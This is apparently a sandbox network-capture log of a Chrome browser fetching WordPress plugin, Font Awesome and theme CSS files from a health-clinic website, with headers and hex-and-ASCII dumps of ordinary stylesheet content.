2024-04-24 12:44:53 UTC	13404	IN	Data Raw: 2f 2a 20 0a 09 55 73 65 72 20 53 75 62 6d 69 74 74 65 64 20 50 6f 73 74 73 20 3a 20 43 53 53 20 3a 20 55 53 50 20 46 6f 72 6d 0a 09 40 20 68 74 74 70 73 3a 2f 2f 70 65 72 69 73 68 61 62 6c 65 70 72 65 73 73 2e 63 6f 6d 2f 75 73 65 72 2d 73 75 62 6d 69 74 74 65 64 2d 70 6f 73 74 73 2f 0a 09 43 6f 6d 70 6c 65 74 65 20 6c 69 73 74 20 6f 66 20 43 53 53 20 73 65 6c 65 63 74 6f 72 73 20 40 20 68 74 74 70 73 3a 2f 2f 6d 30 6e 2e 63 6f 2f 65 0a 2a 2f 0a 0a 64 69 76 23 75 73 65 72 2d 73 75 62 6d 69 74 74 65 64 2d 70 6f 73 74 73 20 7b 20 77 69 64 74 68 3a 20 31 30 30 25 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 38 30 30 70 78 3b 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 20 7d 0a 64 69 76 23 75 73 65 72 2d 73 75 62 6d 69 74 74 65 64 2d 70 6f 73 74 73 20 66 Data Ascii: /* User Submitted Posts : CSS : USP Form@ https://perishablepress.com/user-submitted-posts/Complete list of CSS selectors @ https://m0n.co/e*/div#user-submitted-posts { width: 100%; max-width: 800px; overflow: hidden; }div#user-submitted-posts f

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.4	49956	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:52 UTC	787	OUT	GET /wp-content/plugins/wp-google-places-review-slider/public/css/wprev-public_combine.css?ver=13.6 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962682.0.0.0; _ga=GA1.2.446872372.1713962665
2024-04-24 12:44:53 UTC	416	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:52 GMT Content-Type: text/css Content-Length: 12742 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Sun, 31 Mar 2024 06:30:48 GMT Vary: Accept-Encoding ETag: "66090318-31c6" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:53 UTC	12742	IN	Data Raw: 2e 77 70 72 65 76 70 72 6f 5f 74 31 5f 6f 75 74 65 72 5f 64 69 76 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 20 30 70 78 20 30 20 30 70 78 7d 2e 77 70 72 65 76 70 72 6f 5f 74 31 5f 44 49 56 5f 31 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 3b 63 6f 6c 75 6d 6e 2d 72 75 6c 65 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 70 65 72 73 70 65 63 74 69 76 65 2d 6f 72 69 67 69 6e 3a 32 37 37 2e 35 70 78 20 31 31 35 70 78 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 32 37 37 2e 35 70 78 20 31 31 35 70 78 3b 62 6f 72 64 65 72 3a 30 20 6e 6f 6e 65 20 23 66 66 66 3b 66 6f 6e 74 3a 6e 6f 72 6d 61 6c 20 6e 6f 72 6d 61 6c 20 6e 6f 72 6d Data Ascii: .wprevpro_t1_outer_div{padding:0;margin:0 0px 0 0px}.wprevpro_t1_DIV_1{box-sizing:border-box;color:#fff;text-size-adjust:100%;column-rule-color:#fff;perspective-origin:277.5px 115px;transform-origin:277.5px 115px;border:0 none #fff;font:normal normal norm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.4	49957	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:52 UTC	787	OUT	GET /wp-content/plugins/wp-blog-post-layouts/includes/assets/fontawesome/css/all.min.css?ver=5.12.1 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962682.0.0.0; _ga=GA1.2.446872372.1713962665
2024-04-24 12:44:53 UTC	416	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:52 GMT Content-Type: text/css Content-Length: 57337 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Tue, 23 Apr 2024 09:50:51 GMT Vary: Accept-Encoding ETag: "6627847b-dff9" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:53 UTC	15968	IN	Data Raw: 2f 2a 21 0d 0a 20 2a 20 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 46 72 65 65 20 35 2e 31 32 2e 31 20 62 79 20 40 66 6f 6e 74 61 77 65 73 6f 6d 65 20 2d 20 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 63 6f 6d 0d 0a 20 2a 20 4c 69 63 65 6e 73 65 20 2d 20 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 63 6f 6d 2f 6c 69 63 65 6e 73 65 2f 66 72 65 65 20 28 49 63 6f 6e 73 3a 20 43 43 20 42 59 20 34 2e 30 2c 20 46 6f 6e 74 73 3a 20 53 49 4c 20 4f 46 4c 20 31 2e 31 2c 20 43 6f 64 65 3a 20 4d 49 54 20 4c 69 63 65 6e 73 65 29 0d 0a 20 2a 2f 0d 0a 2e 66 61 2c 2e 66 61 62 2c 2e 66 61 64 2c 2e 66 61 6c 2c 2e 66 61 72 2c 2e 66 61 73 7b 2d 6d 6f 7a 2d 6f 73 78 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 67 72 61 79 73 63 61 6c 65 3b 2d 77 Data Ascii: /! Font Awesome Free 5.12.1 by @fontawesome - https://fontawesome.com * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) */.fa,.fab,.fad,.fal,.far,.fas{-moz-osx-font-smoothing:grayscale;-w
2024-04-24 12:44:53 UTC	16384	IN	Data Raw: 38 64 22 7d 2e 66 61 2d 64 2d 61 6e 64 2d 64 2d 62 65 79 6f 6e 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 36 63 61 22 7d 2e 66 61 2d 64 61 69 6c 79 6d 6f 74 69 6f 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 39 35 32 22 7d 2e 66 61 2d 64 61 73 68 63 75 62 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 31 30 22 7d 2e 66 61 2d 64 61 74 61 62 61 73 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 63 30 22 7d 2e 66 61 2d 64 65 61 66 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 61 34 22 7d 2e 66 61 2d 64 65 6c 69 63 69 6f 75 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 61 35 22 7d 2e 66 61 2d 64 65 6d 6f 63 72 61 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 Data Ascii: 8d"}.fa-d-and-d-beyond:before{content:"\f6ca"}.fa-dailymotion:before{content:"\f952"}.fa-dashcube:before{content:"\f210"}.fa-database:before{content:"\f1c0"}.fa-deaf:before{content:"\f2a4"}.fa-delicious:before{content:"\f1a5"}.fa-democrat:before{content:"
2024-04-24 12:44:53 UTC	16384	IN	Data Raw: 66 33 63 35 22 7d 2e 66 61 2d 6d 61 70 2d 70 69 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 37 36 22 7d 2e 66 61 2d 6d 61 70 2d 73 69 67 6e 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 37 37 22 7d 2e 66 61 2d 6d 61 72 6b 64 6f 77 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 36 30 66 22 7d 2e 66 61 2d 6d 61 72 6b 65 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 35 61 31 22 7d 2e 66 61 2d 6d 61 72 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 32 32 22 7d 2e 66 61 2d 6d 61 72 73 2d 64 6f 75 62 6c 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 32 37 22 7d 2e 66 61 2d 6d 61 72 73 2d 73 74 72 6f 6b 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 32 Data Ascii: f3c5"}.fa-map-pin:before{content:"\f276"}.fa-map-signs:before{content:"\f277"}.fa-markdown:before{content:"\f60f"}.fa-marker:before{content:"\f5a1"}.fa-mars:before{content:"\f222"}.fa-mars-double:before{content:"\f227"}.fa-mars-stroke:before{content:"\f22
2024-04-24 12:44:53 UTC	8601	IN	Data Raw: 31 22 7d 2e 66 61 2d 74 68 65 72 6d 6f 6d 65 74 65 72 2d 65 6d 70 74 79 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 63 62 22 7d 2e 66 61 2d 74 68 65 72 6d 6f 6d 65 74 65 72 2d 66 75 6c 6c 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 63 37 22 7d 2e 66 61 2d 74 68 65 72 6d 6f 6d 65 74 65 72 2d 68 61 6c 66 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 63 39 22 7d 2e 66 61 2d 74 68 65 72 6d 6f 6d 65 74 65 72 2d 71 75 61 72 74 65 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 63 61 22 7d 2e 66 61 2d 74 68 65 72 6d 6f 6d 65 74 65 72 2d 74 68 72 65 65 2d 71 75 61 72 74 65 72 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 63 38 22 7d 2e 66 61 2d 74 68 69 6e 6b 2d 70 65 61 6b 73 3a 62 65 Data Ascii: 1"}.fa-thermometer-empty:before{content:"\f2cb"}.fa-thermometer-full:before{content:"\f2c7"}.fa-thermometer-half:before{content:"\f2c9"}.fa-thermometer-quarter:before{content:"\f2ca"}.fa-thermometer-three-quarters:before{content:"\f2c8"}.fa-think-peaks:be

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.4	49958	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:52 UTC	755	OUT	GET /wp-content/themes/vpchc/dist/default_page.css?ver=230904-91952 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962682.0.0.0; _ga=GA1.2.446872372.1713962665
2024-04-24 12:44:53 UTC	418	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:52 GMT Content-Type: text/css Content-Length: 412605 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 04 Sep 2023 09:19:52 GMT Vary: Accept-Encoding ETag: "64f5a138-64bbd" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:53 UTC	15966	IN	Data Raw: 2e 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 35 30 25 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 63 6f 76 65 72 7d 2e 6f 62 6a 65 63 74 2d 66 69 74 2d 63 6f 76 65 72 7b 2d 6f 2d 6f 62 6a 65 63 74 2d 66 69 74 3a 63 6f 76 65 72 3b 6f 62 6a 65 63 74 2d 66 69 74 3a 63 6f 76 65 72 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 6f 62 6a 65 63 74 2d 66 69 74 3a 20 63 6f 76 65 72 3b 22 7d 2e 6f 62 6a 65 63 74 2d 66 69 74 2d 63 6f 76 65 72 2d 2d 63 65 6e 74 65 72 65 64 7b 6c 65 66 74 3a 35 30 25 3b 74 6f 70 3a 2d 35 30 25 3b 62 6f 74 74 6f 6d 3a 30 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 28 2d 35 30 25 2c 35 30 25 29 3b 74 72 61 6e 73 66 6f 72 6d 3a Data Ascii: .background-cover{background-position:50%;background-size:cover}.object-fit-cover{-o-object-fit:cover;object-fit:cover;font-family:"object-fit: cover;"}.object-fit-cover--centered{left:50%;top:-50%;bottom:0;-webkit-transform:translate(-50%,50%);transform:
2024-04-24 12:44:53 UTC	16384	IN	Data Raw: 66 6c 65 78 3a 30 3b 66 6c 65 78 3a 30 20 30 20 31 30 30 25 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 7d 2e 72 6f 77 2d 63 6f 6c 73 2d 6c 67 2d 32 3e 2a 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 66 6c 65 78 3a 30 20 30 20 35 30 25 3b 6d 61 78 2d 77 69 64 74 68 3a 35 30 25 7d 2e 72 6f 77 2d 63 6f 6c 73 2d 6c 67 2d 33 3e 2a 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 66 6c 65 78 3a 30 20 30 20 33 33 2e 33 33 33 33 33 25 3b 6d 61 78 2d 77 69 64 74 68 3a 33 33 2e 33 33 33 33 33 25 7d 2e 72 6f 77 2d 63 6f 6c 73 2d 6c 67 2d 34 3e 2a 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 66 6c 65 78 3a 30 20 30 20 32 35 25 3b 6d 61 78 2d 77 69 64 74 68 3a 32 35 25 7d 2e 72 6f 77 2d 63 6f 6c 73 2d 6c 67 2d 35 3e 2a 7b 2d Data Ascii: flex:0;flex:0 0 100%;max-width:100%}.row-cols-lg-2>{-webkit-box-flex:0;flex:0 0 50%;max-width:50%}.row-cols-lg-3>{-webkit-box-flex:0;flex:0 0 33.33333%;max-width:33.33333%}.row-cols-lg-4>{-webkit-box-flex:0;flex:0 0 25%;max-width:25%}.row-cols-lg-5>{-
2024-04-24 12:44:53 UTC	16384	IN	Data Raw: 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 39 61 34 38 37 39 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 39 61 34 38 37 39 7d 2e 62 74 6e 2d 70 75 72 70 6c 65 3a 6e 6f 74 28 3a 64 69 73 61 62 6c 65 64 29 3a 6e 6f 74 28 2e 64 69 73 61 62 6c 65 64 29 2e 61 63 74 69 76 65 2c 2e 62 74 6e 2d 70 75 72 70 6c 65 3a 6e 6f 74 28 3a 64 69 73 61 62 6c 65 64 29 3a 6e 6f 74 28 2e 64 69 73 61 62 6c 65 64 29 3a 61 63 74 69 76 65 2c 2e 73 68 6f 77 3e 2e 62 74 6e 2d 70 75 72 70 6c 65 2e 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 37 37 33 38 35 65 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 36 66 33 34 35 37 7d 2e 62 74 6e 2d 70 75 72 70 6c 65 3a 6e Data Ascii: r:#fff;background-color:#9a4879;border-color:#9a4879}.btn-purple:not(:disabled):not(.disabled).active,.btn-purple:not(:disabled):not(.disabled):active,.show>.btn-purple.dropdown-toggle{color:#fff;background-color:#77385e;border-color:#6f3457}.btn-purple:n
2024-04-24 12:44:53 UTC	16384	IN	Data Raw: 61 69 6e 65 72 2d 6d 64 2c 2e 6e 61 76 62 61 72 2d 65 78 70 61 6e 64 2d 73 6d 3e 2e 63 6f 6e 74 61 69 6e 65 72 2d 73 6d 2c 2e 6e 61 76 62 61 72 2d 65 78 70 61 6e 64 2d 73 6d 3e 2e 63 6f 6e 74 61 69 6e 65 72 2d 78 6c 7b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 7d 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 35 37 36 70 78 29 7b 2e 6e 61 76 62 61 72 2d 65 78 70 61 6e 64 2d 73 6d 7b 66 6c 65 78 2d 66 6c 6f 77 3a 72 6f 77 20 6e 6f 77 72 61 70 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 70 61 63 6b 3a 73 74 61 72 74 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 66 6c 65 78 2d 73 74 61 72 74 7d 2e 6e 61 76 62 61 72 2d 65 78 70 61 6e 64 2d 73 6d 2c 2e 6e 61 76 62 61 72 2d 65 78 70 61 6e 64 2d 73 6d 20 Data Ascii: ainer-md,.navbar-expand-sm>.container-sm,.navbar-expand-sm>.container-xl{padding-right:0;padding-left:0}}@media (min-width:576px){.navbar-expand-sm{flex-flow:row nowrap;-webkit-box-pack:start;justify-content:flex-start}.navbar-expand-sm,.navbar-expand-sm
2024-04-24 12:44:53 UTC	16384	IN	Data Raw: 2e 66 6c 65 78 2d 73 6d 2d 72 6f 77 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 21 69 6d 70 6f 72 74 61 6e 74 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 66 6c 65 78 2d 73 6d 2d 63 6f 6c 75 6d 6e 2c 2e 66 6c 65 78 2d 73 6d 2d 72 6f 77 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 66 6c 65 78 2d 73 6d 2d 63 6f 6c 75 6d 6e 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 76 65 72 74 69 63 61 6c 21 69 6d 70 6f 72 74 61 6e 74 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 66 6c 65 78 2d 73 6d 2d 72 6f 77 2d 72 65 76 65 72 73 Data Ascii: .flex-sm-row{-webkit-box-orient:horizontal!important;flex-direction:row!important}.flex-sm-column,.flex-sm-row{-webkit-box-direction:normal!important}.flex-sm-column{-webkit-box-orient:vertical!important;flex-direction:column!important}.flex-sm-row-revers
2024-04-24 12:44:53 UTC	16384	IN	Data Raw: 7d 2e 6d 72 2d 73 6d 2d 32 2c 2e 6d 78 2d 73 6d 2d 32 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 2e 35 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 62 2d 73 6d 2d 32 2c 2e 6d 79 2d 73 6d 2d 32 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 2e 35 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 6c 2d 73 6d 2d 32 2c 2e 6d 78 2d 73 6d 2d 32 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 35 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 2d 73 6d 2d 33 7b 6d 61 72 67 69 6e 3a 31 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 74 2d 73 6d 2d 33 2c 2e 6d 79 2d 73 6d 2d 33 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 72 2d 73 6d 2d 33 2c 2e 6d 78 2d 73 6d 2d 33 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 31 72 65 6d 21 69 6d 70 Data Ascii: }.mr-sm-2,.mx-sm-2{margin-right:.5rem!important}.mb-sm-2,.my-sm-2{margin-bottom:.5rem!important}.ml-sm-2,.mx-sm-2{margin-left:.5rem!important}.m-sm-3{margin:1rem!important}.mt-sm-3,.my-sm-3{margin-top:1rem!important}.mr-sm-3,.mx-sm-3{margin-right:1rem!imp
2024-04-24 12:44:53 UTC	16384	IN	Data Raw: 67 2d 63 65 6e 74 65 72 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 31 32 30 30 70 78 29 7b 2e 74 65 78 74 2d 78 6c 2d 6c 65 66 74 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 74 65 78 74 2d 78 6c 2d 72 69 67 68 74 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 72 69 67 68 74 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 74 65 78 74 2d 78 6c 2d 63 65 6e 74 65 72 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 2e 74 65 78 74 2d 6c 6f 77 65 72 63 61 73 65 7b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 6c 6f 77 65 72 63 61 73 65 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 74 65 78 74 2d 75 70 70 65 72 63 61 Data Ascii: g-center{text-align:center!important}}@media (min-width:1200px){.text-xl-left{text-align:left!important}.text-xl-right{text-align:right!important}.text-xl-center{text-align:center!important}}.text-lowercase{text-transform:lowercase!important}.text-upperca
2024-04-24 12:44:53 UTC	16384	IN	Data Raw: 2e 63 2d 70 6c 2d 39 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 33 2e 31 32 35 72 65 6d 7d 2e 63 2d 70 6c 2d 6f 6e 6c 79 2d 39 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 36 2e 32 35 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 63 2d 70 6c 2d 31 30 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 34 72 65 6d 7d 2e 63 2d 70 6c 2d 6f 6e 6c 79 2d 31 30 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 38 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 63 2d 70 78 2d 31 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 2e 32 35 72 65 6d 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 2e 32 35 72 65 6d 7d 2e 63 2d 70 78 2d 6f 6e 6c 79 2d 31 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 2e 32 35 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 2e 32 35 72 65 6d Data Ascii: .c-pl-9{padding-left:3.125rem}.c-pl-only-9{padding-left:6.25rem!important}.c-pl-10{padding-left:4rem}.c-pl-only-10{padding-left:8rem!important}.c-px-1{padding-left:.25rem;padding-right:.25rem}.c-px-only-1{padding-left:.25rem!important;padding-right:.25rem
2024-04-24 12:44:53 UTC	16384	IN	Data Raw: 70 6c 2d 73 6d 2d 6f 6e 6c 79 2d 34 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 2e 35 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 63 2d 70 6c 2d 73 6d 2d 35 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 2e 32 35 72 65 6d 7d 2e 63 2d 70 6c 2d 73 6d 2d 6f 6e 6c 79 2d 35 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 32 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 63 2d 70 6c 2d 73 6d 2d 36 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 2e 38 37 35 72 65 6d 7d 2e 63 2d 70 6c 2d 73 6d 2d 6f 6e 6c 79 2d 36 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 33 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 63 2d 70 6c 2d 73 6d 2d 37 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 32 2e 35 72 65 6d 7d 2e 63 2d 70 6c 2d 73 6d 2d 6f 6e 6c 79 2d 37 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 Data Ascii: pl-sm-only-4{padding-left:1.5rem!important}.c-pl-sm-5{padding-left:1.25rem}.c-pl-sm-only-5{padding-left:2rem!important}.c-pl-sm-6{padding-left:1.875rem}.c-pl-sm-only-6{padding-left:3rem!important}.c-pl-sm-7{padding-left:2.5rem}.c-pl-sm-only-7{padding-left
2024-04-24 12:44:53 UTC	16384	IN	Data Raw: 3a 34 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 34 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 63 2d 6d 78 2d 6d 64 2d 38 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 2e 37 35 72 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 33 2e 37 35 72 65 6d 7d 2e 63 2d 6d 78 2d 6d 64 2d 6f 6e 6c 79 2d 38 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 35 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 35 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 63 2d 6d 78 2d 6d 64 2d 39 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 34 2e 36 38 37 35 72 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 34 2e 36 38 37 35 72 65 6d 7d 2e 63 2d 6d 78 2d 6d 64 2d 6f 6e 6c 79 2d 39 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 36 2e 32 35 Data Ascii: :4rem!important;margin-right:4rem!important}.c-mx-md-8{margin-left:3.75rem;margin-right:3.75rem}.c-mx-md-only-8{margin-left:5rem!important;margin-right:5rem!important}.c-mx-md-9{margin-left:4.6875rem;margin-right:4.6875rem}.c-mx-md-only-9{margin-left:6.25

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.4	49959	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

